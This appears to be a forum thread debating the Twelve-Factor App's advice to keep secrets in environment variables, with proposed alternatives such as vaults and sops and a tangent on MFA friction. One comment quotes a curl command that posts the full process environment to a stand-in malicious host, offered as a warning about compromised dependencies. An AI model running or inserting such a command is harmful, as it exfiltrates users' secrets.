The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”
Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files.
Stop doing this. Do the other 11.5 factors.
If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.
If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
Fair assumption.
Assuming no attackers and you're only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation/reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
Thus it's easier to leak environment unintentionally, leaking file contents takes effort.
I guess you could be thinking "subprocess inheritance" as a downside? But subprocesses often need secrets, and if you arrange for that with the filesystem you have the same problem. And, of course, files leak all the time.
More to the point, though: none of this has anything to do with whether you should add secrets to your .bashrc or whatever, which is the argument I'm seeing on the thread.
Now you have to be much more clever to leak them :)
Sometimes I feel like stdin or an unlinked memory mapped file might be the best location for this stuff. Wish Linux had a cloexec+1 option, where an fd is closed after two execs, so you can set up a child process for success.
Game over already if anyone can run commands or arbitrary code. Not using the environment won't help you.
Configuration changes also change application behavior, otherwise is it really “config”?
You can reject the premise in your own environments, and then that part of 12 Factor doesn't apply to you.
It's got a maximum size cap, is trivially introspectable by via any process that can read `/proc`, and sucks at representing hierarchical or structured data beyond k=v.
The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain't a great way to go. I hope we're moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
I was a massive fan of dotenv but sOps is so much cleaner, easy enough to use and works well enough in k8s.
Times have changed since then, and there’s much better tooling available to help with this problem space and surface area these days.
Teach them to use dotenv.
We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.
We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).
What would be your suggestion?
Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d "$(jq -n 'env')"` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you're loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust & hope.
As patmorgan23 wrote in another comment "Secrets should go in a vault and retrieved with the help of a workload identity." Secrets management unfortunately isn't as easy as config management. I personally like sops[1].
1. Keep secrets in a dedicated secrets store.
2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.
we now have a secret cache layer api and the app loads secrets securely at time of use from that api. there's also no secret-0 problem because we use IAM auth when calling the cache.
edit: for those wondering, api response time is sub 1ms (rust!)
Buy-into storing credentials into environment variables.
Then, and this is important - MANAGE YOUR ENVIRONMENTS.
You shouldn't have prod level s3, or aws creds accessible openly in your environment. If someone can steal those values, they can steal the code, and pretty much everything else. This is very bad.
For prod (and possibly staging), use a lib that loads in values securely from an actual secrets service.
For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)
Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
> The twelve-factor app stores config in environment variables
The point is that you must keep secrets, and anything environment-specific, out of the code. Follow the spirit of the law, not the letter.
The environment is a standard, locate-able, read-only at runtime k/v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits well short of RCE which can access all or part of a server process's environment. If that environment contains secrets for everything that process might do, that's asking for trouble.
Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it's deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.
Consider a service which, at startup, opens a connection to a telemetry/logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.
Additional examples abound. Most applications (even ones that aren't internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.
Vaults don't automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.
Good secret management at runtime should ideally be:
1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they're used (so I could say "once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely"), but absent highly complex multi-process/re-exec dances, that doesn't really exist. If, in Python, you 'del os.environ["foo"]', you haven't modified the environment segment of your program's memory.
2. Not in one common/uniform memory area or key-value API. Hell, it's slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory block/API is such a tempting and easy target that it buys you a bit more than a false sense of security here.
3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn't get them for free. Some vaults have a host-local sidecar which provides secrets or a decryption key for them; that way, if an attacker gets memory-read without RCE they can't just exfil a memory image and figure out the decryption key later, but you don't have to be reliant on a remote networked service's uptime for all secret accesses. Even if you don't go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode "you can only read the value for secret X if the request is for an admin route and authenticated" (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn't help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
At the point where you're encrypting secrets in resident memory in a normal server program, you have gone fully into saffron-grade security. If you're worried about leaking secrets in your environment, overwrite the environment variable data and be done with it. In reality, if this is a real concern, unsetenv(3) is probably enough to avoid the actual attack vector --- a vulnerability where you leak environment variables qua environment variables (because you shell out or something).
Whatever vulnerability you're positing that leaks a secret out of arbitrary resident memory also leaks whatever secret you'd use to encrypt, and now you're not building a security system, you're building a DRM scheme. Don't let me yuck your yum on that, but: not a good ROI for security.
I do quibble with the statement that
> unsetenv(3) is probably enough to avoid the actual attack vector
It's not, because it doesn't modify the environment block of the process. Even if you use unsetenv, you're one path-traversal vuln away from folks being able to read all your startup-time secrets out of /proc/self/environ. Similar is true for exploits that can read process memory in small chunks: it takes time and risks detection to e.g. crawl around the stack/heap of who-knows-what-language to find interesting variables, but it's a lot easier to grab whatever's at the top of the stack by address (the env blob, which I think is also unmodified by most unsetenv(3) implementations). Path traversals and small-arbitrary-read exploits aren't exactly uncommon, and environment variables are the wp-admin/admin.php of exploit targets.
That's a quibble; you're broadly right, and that risk's not nearly severe enough to torture your code or bring in caching + encrypting runtime secret stores or whatnot.
I just wish env had been implemented without a /proc view and with reads requiring a cheap syscall rather than memory-residence, you know? Yeah, it's pointless to speculate about, but still seems like an obviously-preferable-in-retrospect road not taken.
"saffron-grade security" is pretty good, too.
What makes it bad advice?
> this had the second-order effect of leading devs to believe they could put all their local env secrets in ~/.bashrc files
You need some way to pass secrets to the app; doesn't every other way also suffer the same kind of issue?
Absolutely. This is why the env method is so attractive. It's simple and feels "free".
> doesn't every other way also suffer the same kind of issue
Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn't leave a plain-text trace for everyone to read (the environment is not private).
I like sops: https://github.com/getsops/sops
The ways I can think of are (1) it's baked into the source code (worst possible security), (2) it's provided on the command line (also bad since command lines are visible to ps unless you do various OS-specific hijinks), (3) it's provided in an environment variable (no better than before), or (4) it's read from some well-known path (it seems to me that anything that could read a process's env vars could also read the contents of this file, so how is this more secure?)
exe.dev has a zillion of them: https://exe.dev/docs/integrations
For the sake of discussion I'd share an argument against X. Dev/Prod parity
https://www.sc.com/engineering/blogs/Technology/development-...
I do not fully agree with the author and I think the author is reaching a bit hard because in my reading Twelve-Factor App X does not argue for complete parity. My reading is that whatever the app is interfacing should be kept as similar as possible.
Can you explain why do you feel MFA is painful/unsustainable? How would you fix it?
Both Google and Microsoft call their apps Authenticator, so two identically named apps on my iPhone distinguishable only by logo.
Furthermore, if you login to 20 things a day (which I do), the codes are going to these apps, SMS, and email. Each different.. so if I'm on my Linux box, my Watch doesn't really help. If I leave my phone in the other room, I can't use the apps to get the code without going to the other room. If multi-tasking is expensive for the brain and attention, MFA is the computing surface equivalent.
You may have built a great MFA workflow, but I have to live with 3-10 variations of workflows all day long, including puzzles. And it's more aggravating when I have to MFA to your service to get my information. My machine is in my house and nobody's been in my house but every_single_login requires me to pretend that in every moment of every day someone may have stolen my laptop and my finger.
My work machine will let me auth with my fingerprint, but the typical enterprise integration of all the things means I still have to click through 3-4 screens to get to where the fingerprint is accepted.
Services and APIs don't MFA.. they have keys and other restrictions for seamlessness. Where's the seamlessness solution for humans?
Passkeys are cool, but they're not ubiquitous enough yet, and the interface between desktop and mobile (even using 1Password for universal passkeys) wouldn't qualify as solved in my book.
MFA as whack-a-mole UI sucks.
Passkeys are the right thing but they need more work.
This very web-forum was a very big proponent of those politics a few years ago.
And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
I hired about 50 software interns and junior in the past 5 years. None had ever heard of it before I told them.